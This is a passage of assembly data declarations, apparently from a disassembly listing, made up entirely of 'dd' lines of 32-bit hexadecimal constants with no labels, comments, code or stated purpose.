dd 40C56D97h, 6BD1DF0h, 0F3121FEAh, 13A6D1F5h, 0BE5FBEE4h
dd 5404EEE4h, 28BC51C4h, 2DAFB8D7h, 0A744F921h, 0CC5BFD89h
dd 0DE2E26h, 2B0FC7Dh, 0AD684932h, 1FF01D5Ah, 0B62A40EDh
dd 9FB7FD5Bh, 0C1C6F825h, 0B8A0F1Ch, 0CFD3FC25h, 4582BFC0h
dd 6A098456h, 0EA860FFFh, 0F8D677C0h, 9E59561h, 0AA95C404h
dd 10B95994h, 0A99076B8h, 0D110E925h, 8EF4768h, 14F59D84h
dd 3D80B00Bh, 62717DEBh, 9CF86D4Eh, 45F8B710h, 0AE482BB3h
dd 378A5CFh, 0F78110E1h, 80624BA7h, 0D8529B3h, 8EBD1C4Bh
dd 0E804ED90h, 0C634F950h, 78E382FCh, 2B109FFBh, 0B3C1C14Ah
dd 0A50B2EDAh, 955B7056h, 0FB0F9D8Ch, 32B4397h, 9D31DE0Ch
dd 0E32208EDh, 0FF1CCB03h, 3BDEA70Bh, 0DBE78180h, 971A295Ah
dd 0A40D922Bh, 3612B179h, 4B2EDBB7h, 0ABB01E8Fh, 0AAC6204Ch
dd 0E76D13B9h, 0A91D9C2Eh, 33B18700h, 58D444B8h, 98F99508h
dd 19875A4h, 1207D38Fh, 0E246EF22h, 0B81F229Ch, 0A1A5F851h
dd 0BBE8FE1Eh, 170348F9h, 0C2F86A40h, 33F2DB9Ch, 0C7C1955Ch
dd 37694BF1h, 0A6010ABCh, 0F0B2C51Ch, 0D5396A43h, 60574BCh
dd 0CD17E2D4h, 0B7DE11AAh, 0AF66845Fh, 769A2F75h, 78FFFDCh
dd 65A0A0A4h, 0B99A4BB5h, 0F20B1C5Eh, 2F0C8423h, 7B68B112h
dd 3B150D08h, 457E8DCAh, 0CF45BEF8h, 0B30AC02Bh, 0D2160805h
dd 27CF9DC8h, 0C4778143h, 4B02F228h, 6B3E8FE7h, 0AC6C7274h
dd 6518C4FBh, 0A423B82Eh, 5A806A9h, 707A3717h, 1FE70CC8h
dd 0C05C01CAh, 0B638D0Dh, 2913A1F3h, 508DEE89h, 0F8EA8244h
dd 13CD4A6Eh, 96FF63Bh, 5E157585h, 0B32F5E99h, 0C051CDADh
dd 33403E7Eh, 34111B8h, 785D1B42h, 0CE14959Ch, 0CF957370h
dd 0D2734048h, 0D412CFF2h, 0DA26EA5h, 57B7B100h, 0A3A7EF0h
dd 0DEC8304Ah, 0DCBA95F9h, 0F650B27Bh, 42CE0139h, 4F102D17h
dd 1963D4h, 979706Ah, 48FFC04Ch, 3317FAE1h, 181809E3h
dd 5142C359h, 943D7D04h, 0CA3D8300h, 4156E4Fh, 0E4B59438h
dd 0A2B7ACF9h, 0B162A39h, 91F127C9h, 0A4F08663h, 1F3B7ABAh
dd 83C0C907h, 0B9F3239Ch, 78E6B360h, 5800A85Dh, 6D9BDDFCh
dd 7B74465h, 0F8DBF9Fh, 0A858F933h, 1DC229Ch, 0BAA2C674h
dd 2BF8FD14h, 3DDBC412h, 9E116682h, 2001A3C0h, 0D5397h
dd 2EA1DE0Fh, 0C54A6EFFh, 0BF88D7D7h, 0FC0C8792h, 0BD03A0F7h
dd 0CB0E4A09h, 174112BEh, 3380BDFDh, 3EABCE80h, 0E1B7EB00h
dd 7E383F2Eh, 0C4DB4AB2h, 4DDEBBD1h, 357CBDC9h, 804A1310h
dd 40BEBBC1h, 5B08B125h, 0A7E62CBAh, 6181F8B7h, 8B3AD99Ch
dd 0A334EA54h, 0D6A9B8EFh, 94E08AACh, 574E500Eh, 1EC09CECh
dd 44A5CAF3h, 5526E302h, 5D5F51A9h, 853AE443h, 2BC1D10Fh
dd 8C5EE3A7h, 22E18B59h, 0BF661EBEh, 5658690Bh, 0E607DCD7h
dd 9A3725F1h, 18E02EF5h
dd 2B38950Bh, 0D009CF81h, 597EE080h, 13A6A4D7h, 0BDB89111h
dd 0E93189D5h, 0BF2920C9h, 4A57F795h, 0EBE0D427h, 0D600937Ah
dd 8E72E8CFh, 0F3A1F96Dh, 0ED7460FAh, 172A3041h, 0B073A7E2h
dd 630EB01h, 0EF95BCE9h, 4925EC05h, 0A8BA7B1Ah, 0EA429D41h
dd 2BC03157h, 5EAE171h, 0FB0EE089h, 0BF019993h, 437B126Ah
dd 0B7B7022Bh, 0B8D696C5h, 0A8C32940h, 3F4C004Eh, 53C1D1B6h
dd 1A05C9B5h, 56AA0E77h, 8380ECF8h, 0C5886559h, 430004F6h
dd 0FA729CA4h, 79DB615Ch, 0E08B0EF9h, 5B235F0Dh, 90259650h
dd 598B7BFAh, 12C41816h, 2CF5298Ah, 2AE3607Dh, 0F6B8598Ch
dd 142B1C24h, 66A57E61h, 605ADB66h, 0ED0047F2h, 253A3B77h
dd 8A243C42h, 76288DFEh, 7320574Fh, 3BAF2BFh, 50A7CE44h
dd 74B058E0h, 122670FDh, 2D22E08Bh, 38670C44h, 0BF80391Bh
dd 0AFF3F9ABh, 521C8C9Ah, 61495B51h, 2B6E658h, 0EC53C381h
dd 0C1DE7E9Dh, 3684834Eh, 34D58029h, 52EC00F5h, 75034A97h
dd 324A1690h, 1969FFC9h, 0BDF025BCh, 0D0BF0F2Fh, 22E120AEh
dd 2298505Ch, 93E0B50Ah, 313B8D0h, 21BA9B4Ah, 6F8E0F59h
dd 49EFD28Ch, 3898E387h, 889B61FBh, 12259578h, 0B2B92ED3h
dd 8D31C1E5h, 392A1501h, 29A308C9h, 2B4D59FAh, 17213412h
dd 172109FFh, 44771A5Eh, 6FD98CF9h, 414B4A0Eh, 0AE3B60F4h
dd 5400760h, 617301EBh, 0FD1B8CC0h, 35C7DE01h, 5B80B363h
dd 2676282Bh, 7C844384h, 0E2173921h, 6F5D040Dh, 10114066h
dd 85170143h, 0A68B1569h, 0A002E64Ah, 12069085h, 12D3B8F8h
dd 6A8AA5F6h, 0CE8083DEh, 32ECD508h, 0E48D834Ah, 4A493F30h
dd 3B7BDD10h, 5545C8h, 0C0392031h, 592E337Fh, 4A969A00h
dd 0F70FD15Ch, 0E29725BAh, 90B53FF0h, 387A3F8Fh, 13DF9FA8h
dd 794AA1DFh, 8C16AC33h, 0CF57EC12h, 77A3F052h, 1D0E204Ah
dd 0BB05A32Eh, 0A5766037h, 0EDB37721h, 8032342Bh, 7DC68104h
dd 0FCE2AC4Bh, 725F9400h, 0EC65456Bh, 0C9D8A200h, 4F41F427h
dd 9D233A7Fh, 5A4C17A0h, 31894A1Ch, 0F7B83829h, 1FD58D1Ch
dd 6C76A980h, 99820FFBh, 59BF8543h, 321EB053h, 9BFFC883h
dd 347D4E92h, 2ADAB115h, 86F64713h, 49183CE0h, 0A334964Fh
dd 864849A8h, 0B3FFC312h, 6E4A47h, 0E77AAC00h, 0FF6967E5h
dd 0A5B8334Fh, 0C4A9552Ah, 4510CD0Ch, 7BEFB886h, 56DF00D7h
dd 5274739Eh, 8844D32Fh, 0D0007F13h, 0EBBDE01Bh, 18FB1E6Ch
dd 0FC1A90C9h, 6D951C6Dh, 0E9EEE8C4h, 19752F5h, 39DBA1B5h
dd 6C22EF80h, 71EDD0FFh, 25961640h, 0C9095B50h, 0A8FA53A5h
dd 89F8D2FBh, 9616DE88h, 2356EC30h, 0E5C4002Dh, 0C6653726h
dd 0B8095B71h, 76A0E9DCh, 1546D626h, 0B38D1F12h, 9571E79h
dd 0E1EFD4Ch, 81B7255Fh, 42117D65h, 50C9017Fh, 0C2B00EBFh
dd 7F0C311Ah, 92C0DCDBh, 16A8DBAAh, 59A0BA27h, 324200A4h
dd 950A4189h, 4894CD00h, 935E0FC2h, 0BBFF2B21h, 95F42082h
dd 33FF28A9h, 28C1E145h, 1C97752Bh, 2917524Dh, 0F9B1F30Ch
dd 74FB3A02h, 0BED2133Bh, 52A8C734h, 0FA85A9A3h, 32000C7Ah
dd 0B0B28557h, 8948DBB8h, 536B69DAh, 0F8B5AD52h, 0F3545700h
dd 64830F98h, 0A2601B28h, 2E6F009Ch, 0B0FD345Dh, 0A83B05BDh
dd 0D31D76h, 8A46DD88h, 592CEA83h, 9A60DE5Eh, 7638C01h
dd 61716FF8h, 53D509C6h, 48417051h, 0A300E97Ch, 0BFF744A9h
dd 5E0E146Ch, 0AC401233h, 89F6F5E3h, 0E9AEECA0h, 0FFF3ED1Ch
dd 0A1BD0344h, 5228D4ACh, 5FBA84EFh, 0F356805Fh, 19050C02h
dd 85950141h, 87A8DB94h, 0F1E489CEh, 5090051Ah, 0B0EB5E8Dh
dd 1FEF6586h, 0EE4E2855h, 19C90AF7h, 897049E5h, 40966F95h
dd 505AD351h, 0D7627D12h, 105DE009h, 0C2DEBF82h, 4C74B8A8h
dd 1DE1374h, 725DB46Ch, 0E26345D1h, 372F7056h, 0BB710195h
dd 52D5B9D1h, 617FD8ECh, 279E0D02h, 0E3198260h, 66757A50h
dd 13617926h, 0BD90F2B3h, 5558B852h, 40808825h, 27D7DB81h
dd 10D21534h, 34B8E6ADh, 66F5DB25h, 0F8521298h, 5876B35Bh
dd 0C6BFC4BBh, 4AAEE380h, 3A5E0044h, 63B42AEAh, 402A260h
dd 0FF76F0DFh, 0DC1D5CD1h, 0E88CB800h, 832B97C9h, 254A9055h
dd 0AE670B21h, 0EF2DBC1Ch, 312840E7h, 0A70F459Dh, 102DB501h
dd 0A6026A16h, 82D9E02Bh, 9236014Fh, 50FC3170h, 92993953h
dd 6125DAF3h, 22AC217Ch, 38CA09DEh, 57DDA3h, 28B6BFE5h
dd 0F64F5B99h, 3017B20Fh, 2C2C4C95h, 3F26F021h, 2019C2h
dd 342C8EBBh, 0C3E93109h, 620F710Dh, 231F74C2h, 395A81CDh
dd 7BFA8DDAh, 81A80CC4h, 835E1D27h, 2DD0C1E0h, 8FE0A3h
dd 0FB89BCDDh, 312C7C52h, 0A549F913h, 7C23FB1h, 0F6F8755Bh
dd 0B19D09DEh, 0E3435C0Eh, 95F1D98Ah, 256C283Dh, 6ECF5E90h
dd 36E314C0h, 0E10B41CEh, 46C67310h, 565A01E2h, 0F24ABA66h
dd 0E9903A59h, 3CBB1CB8h, 9089E8B1h, 375DDC8Ah, 9D1811E0h
dd 0A232E5C2h, 113757EEh, 4F9F1D11h, 9E831E3Fh, 35C164B1h
dd 36883B77h, 4BCB0055h, 489C3A60h, 0F9098B7Ah, 71CDF413h
dd 12899669h, 205FEF45h, 70FAD367h, 2B178434h, 6A046B3Eh
dd 0DEEB0D3Dh, 989480C0h, 4F17E463h, 0B694124Fh, 14A106Eh
dd 0B9852908h, 282E4AFh, 42D8E53Eh, 46060B1h, 1D03987Eh
dd 1B998695h, 71E7CA3Bh, 853182EAh, 5B02099Dh, 0A2D35CB0h
dd 49A4A089h, 98568215h, 5109DE90h, 69D12960h, 46E18100h
dd 25134702h, 0A5C95B61h, 0A3BF10F3h, 314325C1h, 89F99FC1h
dd 7313115Ch, 7FF26A0h, 0E95D8509h, 0E2259471h, 57E10920h
dd 78AFA8h, 9C1E2783h, 1000620Ch, 63B7AD8Ah, 0E881D9B5h
dd 0FB53041Fh, 0A260C82Bh, 2A2400F1h, 1EC7E1AEh, 4691003Ch
dd 0ABC40B36h, 0E4C48D8Ch, 0BDB861FFh, 0E0B78A2Ah, 0BB3197F5h
dd 7A7102FEh, 7C02D88h, 51E7967Ch, 69380FAAh, 5FBB5AC7h
dd 4AFEB720h, 0BA818BADh, 0E8E30F1Dh, 9B01A1F5h, 11A84CD1h
dd 435249E9h, 42C677F9h, 0F90FCCBFh, 966B23Bh, 5C31759Dh
dd 4725C45Fh, 0A5B5D7B3h, 57FE2300h, 120BE781h, 0A5A5CA9h
dd 1D75957Fh, 9B53ED0Fh, 13C96C25h, 7A4BFC48h, 0EE5504E7h
dd 0A5C0F371h, 0BF6A8DD5h, 0B480BEB7h, 115BB830h, 0B986A039h
dd 0A6599F2Bh, 4AC4DA47h, 481AEA0h, 634EFAF3h, 4EA4B80Ah
dd 0A602006Eh, 0FCF8E7D7h, 9DC735Ch, 82738C71h, 75E5D072h
dd 6D82A29h, 0E8144AA5h, 1D23ABAAh, 0B6BF803h, 0AA4C99DBh
dd 94401A20h, 8AC340ADh, 0DB092C7Eh, 0DC3A07DAh, 3639DC57h
dd 0B599A4E8h, 880DD804h, 2D147BBBh, 0AD28E0E3h, 4A82822Ah
dd 4FDC61C2h, 1D46D6h, 964F6285h, 17C06C35h, 0A823BDE8h
dd 20198EAFh, 47A2F54Ah, 3FD9091Bh, 2E7BC77Dh, 198A732Fh
dd 2FFEF2FFh, 0D2642E2Bh, 0E91FD55Dh, 967B84Eh, 0B03ABC98h
dd 80442879h, 0BB2B8857h, 0AA260E00h, 64F81297h, 195D9F98h
dd 0DA2B1E10h, 0C215886Ah, 2B5E8A7Fh, 5174F3E9h, 0A79AC028h
dd 93BBC09h, 815780AEh, 9977AEBh, 0E1FF5F03h, 3AD81055h
dd 9F0D0128h, 0AE1BE6AAh, 0BD8C7F80h, 3594975Fh, 0FB8B5744h
dd 0CE6B1CF5h, 45F127Ah, 79E886BDh, 0AF3BF675h, 6A648513h
dd 0C48170C5h, 382F233Dh, 6088F13Ah, 200809BAh, 0D8B3147h
dd 0D077709h, 0E9F3DB61h, 25EB6E70h, 18E25387h, 1DDB757h
dd 0E2279755h, 0FDD3C878h, 1AC4C54Bh, 0F7B804ADh, 931073Bh
dd 7A863550h, 3B38450Ch
dd 64A3D412h, 0E7F3A05Fh, 0E994104Bh, 80C29EABh, 16506D9Ch
dd 274B74F2h, 77E5800Fh, 702EB1Ch, 584341A0h, 5D379589h
dd 0EDE02B06h, 8CE718BEh, 820F468Ah, 0A0E82744h, 32AC3Eh
dd 26CBBA43h, 0A3F827CDh, 0C0DE1D48h, 0D39F0C07h, 78A00008h
dd 3F6C3AD0h, 9700D716h, 5BC72EB9h, 0F41C68h, 61BFF0F2h
dd 81488A6Dh, 0FE3BEC3h, 0BD29902Ch, 0CB095FF1h, 0CDF64AE4h
dd 0C29228A0h, 0EC1236FCh, 0B2F87985h, 392FC2D4h, 0B5554F29h
dd 961A113Eh, 0E9E461EEh, 8CF73F9Eh, 29E855B3h, 599709B5h
dd 0B6810BBDh, 12B869BDh, 41BEE039h, 0ED9D236Ch, 13742F1Ah
dd 0F993EAACh, 79DBC39h, 0F9C85894h, 9FF85922h, 0CDD264Bh
dd 4E92644Ch, 64C5BFF1h, 12249087h, 97DBA71Dh, 241E7C78h
dd 0EBD08ACBh, 0AB804437h, 0C5923D1Bh, 0D64800E8h, 9D89F950h
dd 0A7C50DDDh, 0AB800446h, 3AB796DBh, 0C85B507Ah, 65FA33EEh
dd 3FDE3Dh, 0F0863A02h, 0E4D64CB7h, 1A0E04A7h, 0BC5BADF6h
dd 0A67B5F41h, 14E40204h, 388EF8Bh, 0A830F768h, 92DFF6DCh
dd 9D3C01B3h, 0EB802392h, 0D1322E96h, 0E6E32Bh, 7FBF90D7h
dd 500923D3h, 0D63DB73Ch, 9CC8F0A0h, 7FB90076h, 61ADA432h
dd 0CD1FBBBAh, 4C279821h, 62C300A9h, 66165C78h, 942F34BBh
dd 72C15B61h, 4A2AB4F8h, 0F4E8830h, 0E02BFAD9h, 61E4B073h
dd 0DF8B0E4Bh, 0C580365Ch, 59A77D5Fh, 0A9C47112h, 668B39E2h
dd 6E0948BFh, 7193E4BDh, 0D8D5004Ch, 0AD53B9D2h, 619704E6h
dd 5F0032D9h, 0DB9D49E9h, 0E0E8D84Ah, 150CE930h, 0F0F1E276h
dd 0EADC39A3h, 0D0611274h, 0AE3BF30Dh, 8C2CBF41h, 4B800EC8h
dd 93BD981Eh, 67DC008Eh, 0CD8A30F6h, 94973F43h, 0B7EC7432h
dd 83AC3C10h, 0DA9AF2A5h, 0F99DE225h, 88579319h, 0DD00329Dh
dd 470FA121h, 12803EBEh, 0AB89B723h, 4482BF4Eh, 1BC5B1Dh
dd 2EFA52D9h, 8D296C31h, 742E04FDh, 0C40C9BE3h, 0E382BC5Dh
dd 0DFEBC260h, 0C20082C5h, 404F3C7Ch, 258C0163h, 3679F764h
dd 66822014h, 512E1B00h, 0A359BA3Fh, 0BD5A4A12h, 33344E12h
dd 5E751F82h, 376A5299h, 746BEE56h, 6BE227D1h, 91FD3555h
dd 2E098117h, 11685FD7h, 9B71142Dh, 0B1355D69h, 983E8601h
dd 2A035FDDh, 2910C18Dh, 979C6B0Bh, 0D1BD1733h, 0D4ABB91Ch
dd 0A8110DAh, 0E6E2C54Ah, 0D7B0E1C0h, 0BA8F342Ah, 2050B891h
dd 90F13836h, 7CCD3BD0h, 0E798522Bh, 44DA4F06h, 997F78Ah
dd 0F673EC68h, 0DD181559h, 54EB661h, 0BB3B6A7Bh, 8212CE6Eh
dd 0ACD5B963h, 73038C18h, 6FEF9FF8h, 1EAF9881h, 0B60F4A96h
dd 2C30B492h, 2E71F74Ch, 893133Ah, 330E23B5h, 1222E89Dh
dd 2C84A396h, 2A0F6B50h, 10A697D6h, 0F9C441E0h, 397A6612h
dd 55BFD371h, 0EA08252Fh, 1C01397Ah, 0E2FF921Fh, 41F22AE0h
dd 8100E2DFh, 54FE69D3h, 38BF9625h, 2808DD5h, 0CA58BB50h
dd 2EF93B72h, 9BDE560h, 49319913h, 3257A009h, 3D46400Bh
dd 94CD9520h, 0B0E09AE8h, 25AC0D8Fh, 825BF1A3h, 50C973A5h
dd 8A02B676h, 0CF26AD93h, 0E351F438h, 0C54C28E9h, 59072553h
dd 0AEB55287h, 0F079EA8Bh, 7F4D9539h, 0AF601664h, 3115B773h
dd 18F4FD85h, 132308E8h, 848702C6h, 0BD10CB5Ch, 81800BF1h
dd 0DDC9EFDFh, 0C65F255Dh, 0D30995BDh, 708756F2h, 3204F07Ch
dd 0F353E96Bh, 7DAD0813h, 29C18B8Bh, 8FE7594Fh, 902BC780h
dd 887A9018h, 0A80083F0h, 6EBD750Eh, 82561Bh, 0BC1CEF36h
dd 0E37FF0DEh, 0F820504Fh, 224A8E9h, 684BD370h, 667D4ACFh
dd 5F50091Bh, 54FC905Bh, 0FA7D070Dh, 0E14AA62Bh, 172FCBA7h
dd 7F30AE22h, 24B738FEh, 1B48C84h, 36AB2924h, 0DEA9F5Bh
dd 89E04C17h, 45471251h, 7AEBE14Dh, 0B80B226Eh, 0C4DE6B57h
dd 935B708h, 1A7D585Ah, 0B66ED7CDh, 175179B5h, 0CCC0C490h
dd 0BD7809D7h, 440844EDh, 0B860EF93h, 8951C4B7h, 0AD0B24FBh
dd 955299BCh, 0D1FFE851h, 121E756Ah, 8E8DB301h, 95FD1784h
dd 0DC093AE8h, 0B7026A53h, 30E8800Eh, 4B6D794Ch, 906EF205h
dd 1DEF47B7h, 0E237AF03h, 258B541Ch, 7573231h, 7404F7A9h
dd 0C8A198Ch, 517DF90Dh, 0FD05D31Eh, 15E95B35h, 17B038ABh
dd 0B79F2390h, 74278089h, 82525936h, 0A5207EB0h, 0F1315107h
dd 1C4577CEh, 2B233988h, 0DCCB002Ch, 441D41B2h, 526A9B0Eh
dd 54A645B5h, 19EC74E9h, 0CA94F700h, 515260B0h, 805F0459h
dd 0B961A7F3h, 16A5913Fh, 0A8C8D0h, 0B673125Fh, 3016E22Ah
dd 2A4D6376h, 95098599h, 302B6B8Dh, 32699D1Dh, 0B5290D84h
dd 0D8290D55h, 0EFB70915h, 5151492Eh, 566449h, 0A455C344h
dd 3DB07DBEh, 2AE0694Ah, 427012CFh, 2218E65Bh, 0FA9A9531h
dd 0DE36855h, 0FBB2840Bh, 0DB601B27h, 9F851096h, 1081A64h
dd 40F8BE24h, 0E4E26122h, 36E1714Eh, 0F4FE482Ah, 2A316AB1h
dd 2A51C96Ah, 212ACC8Dh, 60BBB3FEh, 64BF0B0Fh, 809559h
dd 11C98501h, 90C77195h, 30AAD78Dh, 8AF38134h, 0C82BB002h
dd 880C8C0Fh, 6640665Fh, 95B5AAB8h, 21DBF48Ch, 0D72C2EBFh
dd 4B61C6F4h, 0A2B664E9h, 93C07D76h, 0EE62B4BFh, 3059770h
dd 0C28C233h, 5E4DFD56h, 0F23A16C5h, 0B2EAD3C2h, 5AE91723h
dd 19D5BB31h, 83B7A26Bh, 126E36BBh, 0B6161D20h, 0B73B22E9h
dd 347D4058h, 0B1B4074Ah, 6C294565h, 78A2801Dh, 1FE71D22h
dd 804B09DEh, 0CE69C4B1h, 60190BB2h, 0ADCE57FAh, 415FAF53h
dd 123E7CCAh, 0BFFA6CEh, 0DC4C055Fh, 0ACD461FAh, 44E06FB8h
dd 0C2709DF9h, 6171722Dh, 56EE8B25h, 14A551C9h, 0CFE243F6h
dd 0B30EDF56h, 39B676BCh, 48B38BE0h, 93BABB01h, 0B89B58DDh
dd 0E72E3F36h, 0C94225B4h, 0CABDFFh, 9F78A576h, 475A3E6Fh
dd 872547E8h, 0B5A7E96Dh, 0DFFD003Ch, 0CA7CF8BBh, 4842A5Fh
dd 95E960BAh, 8A9E29F1h, 57880D42h, 0B57FD01Ah, 811791D4h
dd 647A5330h, 0F3EC5F20h, 7DD49D6Ah, 0FE0A8A2h, 0DD07536Bh
dd 5C3757C1h, 0F9BFA74Ch, 0CAF67AB6h, 9FD500D4h, 0F3478A22h
dd 605E0CBDh, 0FDF8BE89h, 0A3D93EA7h, 5C7ADB03h, 0B1C825E1h
dd 0D0B3AD3h, 5D860F58h, 614FD996h, 2E210F6h, 6F6050E1h
dd 5E1EBF44h, 80D9D0AAh, 2BE9A2F6h, 0E192FD28h, 0A049B72Eh
dd 2E83361h, 8CF4C4B6h, 8B46EEE4h, 0F352512Eh, 26417227h
dd 12535F5Bh, 0A72E5205h, 0F56A5EFEh, 0B318E01h, 0CB9C8FD9h
dd 13355C13h, 0EAE134AFh, 0C2F616Ah, 0DBBA3910h, 79B95802h
dd 5C920250h, 1444510Fh, 52A209ACh, 8DB7BF20h, 167675A6h
dd 0CA184CF2h, 5861A7Dh, 13B3D42Fh, 8164DB60h, 0E412EB5Bh
dd 2CDF56C6h, 302DDE35h, 938D910h, 87DE7865h, 0C3A92316h
dd 12A66B96h, 0D0B4A8ABh, 0D3884A01h, 0E7BD29E6h, 0CEF1A1DCh
dd 3B555277h, 0F18AB010h, 0AE739561h, 53181B59h, 1D337D3Eh
dd 135273DDh, 0DF502EE3h, 81F98801h, 0D404C37Ah, 60905859h
dd 0F00C4E2h, 1047A1E9h, 365C9AF9h, 153A0B3Ah, 0EC2A985Bh
dd 2C2009DEh, 4B541F95h, 0F390FE8Bh, 0DAE77050h, 80F3EB3Fh
dd 0BD2DBFF5h, 0F4805750h, 152C318h, 0C6B6519Dh, 7E756805h
dd 0A60877FEh, 85B78B02h, 8A07A254h, 0AFFAE17Dh, 0CE21912h
dd 9189298Fh, 68BE1A5Ah, 0F4DE7625h, 0FD203B4Eh, 1D262E56h
dd 4B599ACAh, 5E0170A7h, 3A7D3108h, 4BE9048Ch, 0BB0BD1C0h
dd 0D756E6CCh, 31D0846Bh, 4DFB5ADh, 0AB0CF5BDh, 707C5F8Ah
dd 99BA9521h, 90614CD7h
dd 164AB53Ah, 577A467Bh, 57A4666Eh, 0D00F7BB5h, 7205CB36h
dd 0CDB45C3Fh, 0AB1513BBh, 2012D636h, 96122F51h, 53305360h
dd 6FD2BEh, 673E8F0Bh, 8B5A5E38h, 5E47CB48h, 0C815B120h
dd 0B918388Ch, 23CCE88Eh, 0CF5C2820h, 0F704B41Eh, 966C7B49h
dd 0B7F0BBEh, 60E4A954h, 1B046D95h, 0FC162C41h, 4C71FD5h
dd 40E05925h, 0EA50DCBFh, 0D6B72F4Ah, 53C8512Dh, 5A1F4FB3h
dd 69B85B58h, 7AD6416h, 2AD55634h, 5BDEE395h, 0D2BB3009h
dd 5A2104CAh, 0C7365FCDh, 4ED2BC7Bh, 0F6620201h, 0D8242BC5h
dd 0C018DBAAh, 5B53F82Ch, 1BDA690h, 7E9A314Fh, 0DFECA0BCh
dd 0AE9C011h, 8FCC740Fh, 86752100h, 32695779h, 435456C4h
dd 20C84401h, 812A2F37h, 46C7855Fh, 9085FD8Ah, 23C86BAAh
dd 0D4490918h, 5E1E0955h, 848C431Eh, 803B15E8h, 0A02B2498h
dd 0D77B8B61h, 0C1AA0229h, 0CD36D530h, 0FDD48ABCh, 4A26282Bh
dd 0D898739Dh, 6D7C881Dh, 1641E934h, 0D32DDBFBh, 0C4C95FFAh
dd 0E1E59D31h, 0DCDA3F74h, 8C1BF8h, 755D8986h, 0B126B7CAh
dd 8BB35309h, 80CE15Bh, 8845E32Ah, 66E4A11Dh, 2B501B10h
dd 38BE0BA0h, 1D0379E9h, 0B2E14E94h, 0DC840780h, 5E00A4F5h
dd 578C159Ah, 5B13866Fh, 0A22788DBh, 8048EF3Eh, 85E7DA3Bh
dd 39CA4382h, 3F800D95h, 5F762924h, 0F7758160h, 684E6216h
dd 0D4612209h, 8D4B3A70h, 83B42C31h, 0C0D90D6Ah, 26999Bh
dd 5BC075B3h, 0A8F78D59h, 65131225h, 9B1550C9h, 5CD92527h
dd 1D46D68Ah, 7D2913h, 28EBD928h, 4B4EF174h, 5496F609h
dd 0AEBE87A9h, 1B6157E1h, 8A173DC4h, 20AC96D8h, 25F28A5Fh
dd 0B748C6F9h, 81814859h, 39E7A7CFh, 7DBDB240h, 54379712h
dd 10801D91h, 1CAABD99h, 85CFA901h, 800F95FAh, 0EF59522Fh
dd 32909E1Fh, 5191313Fh, 858B0817h, 27416225h, 5CEB445Ch
dd 5D78DC50h, 0FA8CA01h, 8F7E3FC4h, 7D56DC3Ah, 62232EE1h
dd 0D4FBCC33h, 4E42ACECh, 4F80CBDBh, 5B4148A9h, 8896A818h
dd 0B50D096Ah, 0A73E9145h, 55515CF8h, 4EDE1200h, 85176Ah
dd 0E3242972h, 705E2EBFh, 13B8164Ah, 0FB022117h, 0E8F61460h
dd 0FE800083h, 0C2EB6B18h, 0B9036020h, 0D32E0DB1h, 43D6A1E9h
dd 0F4693B61h, 12584BCh, 89655B56h, 2BF61815h, 695905EBh
dd 0BF509240h, 4B4FD357h, 0DBC6C545h, 70388001h, 0DD73D007h
dd 85098B60h, 8114A077h, 0E6E344EFh, 985B9D4Ch, 28A1C6A7h
dd 95560B29h, 0C8701EABh, 0BDFF1495h, 0D35575C2h, 14C9709Ah
dd 9AD41A30h, 0A983BEh, 28DEBB6Ch, 0B79671C7h, 0AD503A39h
dd 2CD37CA0h, 8FC94E61h, 6161C05Eh, 34218909h, 0DA2A4571h
dd 0C01DC8A6h, 0B5876DFDh, 0C0B27500h, 80AB8A7Eh, 63E19FE7h
dd 3857C23Dh, 12C6BF40h, 0F60D1B68h, 301BB250h, 7503BF43h
dd 0BA70D534h, 52DC5AFAh, 4A59B7DAh, 0B901E66Ah, 10517EAh
dd 81CE89C5h, 0C44B7111h, 72FC573Bh, 0C31B3D2h, 1969B529h
dd 0F66EE1C6h, 0F917F391h, 0CCA7912Ch, 3325C878h, 0D9127335h
dd 2A7181Ah, 1B8FAEF0h, 665D4D81h, 17B0021h, 0A9A09F63h
dd 0E7070A6Bh, 9E0E0335h, 0B21A7DDBh, 10F13978h, 9DF330E9h
dd 0DCD28173h, 0C76FC180h, 80892C0Ch, 0D1EF6128h, 1C907A38h
dd 791A5A3Dh, 0EC71F180h, 0B11F510Eh, 0A79DDA0h, 9F0466B5h
dd 0CE00EEB5h, 20A3C49h, 0FC51214h, 0CD31FF8Bh, 992B13F3h
dd 0D117898Eh, 7693550Eh, 5EFA083Ch, 0F481DA9Bh, 89853A9Bh
dd 7FBD0B3Eh, 0E3170DAFh, 1DB30061h, 4B94C68Eh, 779D001Bh
dd 19CE9EEBh, 853FEE61h, 891C9FD3h, 12F0CB6Fh, 0AE940FB6h
dd 5F00147Ah, 4103F6C8h, 5CD694FCh, 0B1EB52AEh, 9F6E6FAFh
dd 6BF77602h, 0F9F4B2C8h, 0D3797A40h, 4F360022h, 0F4747D1Ah
dd 0BB16667Ch, 748331BDh, 8B90B80Ch, 1143BDF9h, 0CDA55E84h
dd 0C673C1F3h, 0F03CAD67h, 2A2B9531h, 8006377Dh, 72A8573Fh
dd 5165164Eh, 24929954h, 60F45C5Bh, 0AA0FCB81h, 0D3B57273h
dd 2FD1880Bh, 1D4D024Bh, 71EC5C0Dh, 6209129Ah, 929654B6h
dd 0BD8B0402h, 0F6900B15h, 9C7B42F4h, 0F6B52DC0h, 73C58095h
dd 2862A740h, 22A95BA9h, 0CC80888h, 61608402h, 0B9A5E990h
dd 2F6AFDC8h, 9DE6830Fh, 9F01A920h, 428AE61h, 2A09BBC1h
dd 0F420A66Bh, 595EDCh, 4D80C8B9h, 0B57EC520h, 0CF319639h
dd 0E912B6ADh, 0E257B892h, 0D6984219h, 0E617DE58h, 0B6E6658Bh
dd 0F5E85E2h, 2A29E5E2h, 6FA53B84h, 0EB9F01E3h, 0C29DB4DAh
dd 56824A46h, 0D26F25E4h, 91B5B2C3h, 352EF88Bh, 8D6FFEF9h
dd 97C42702h, 0E45DA37Ch, 41D0B43Bh, 3E0EBC6Ch, 0CF01CBF1h
dd 712F3369h, 32800F05h, 3BF3EC8h, 6A2E18ABh, 14DC22FFh
dd 0EB35DF00h, 0C0761524h, 0F73B0012h, 0F4845F16h, 0B8050FCCh
dd 5B18A160h, 0F95B4BBCh, 2EAC5A40h, 7359332Dh, 21012042h
dd 919B5BDh, 38823C2Ch, 0CD7F08F5h, 0F08112ABh, 0A309161Ch
dd 0DE5170E6h, 4BDA4056h, 9D005E31h, 3EDF125Ch, 17AED37h
dd 0DCE4F781h, 0C65F2E78h, 230740D7h, 857A9795h, 0ED8D330Bh
dd 0F7B15716h, 84C06CC9h, 7BC271Dh, 2AC51298h, 1605CE95h
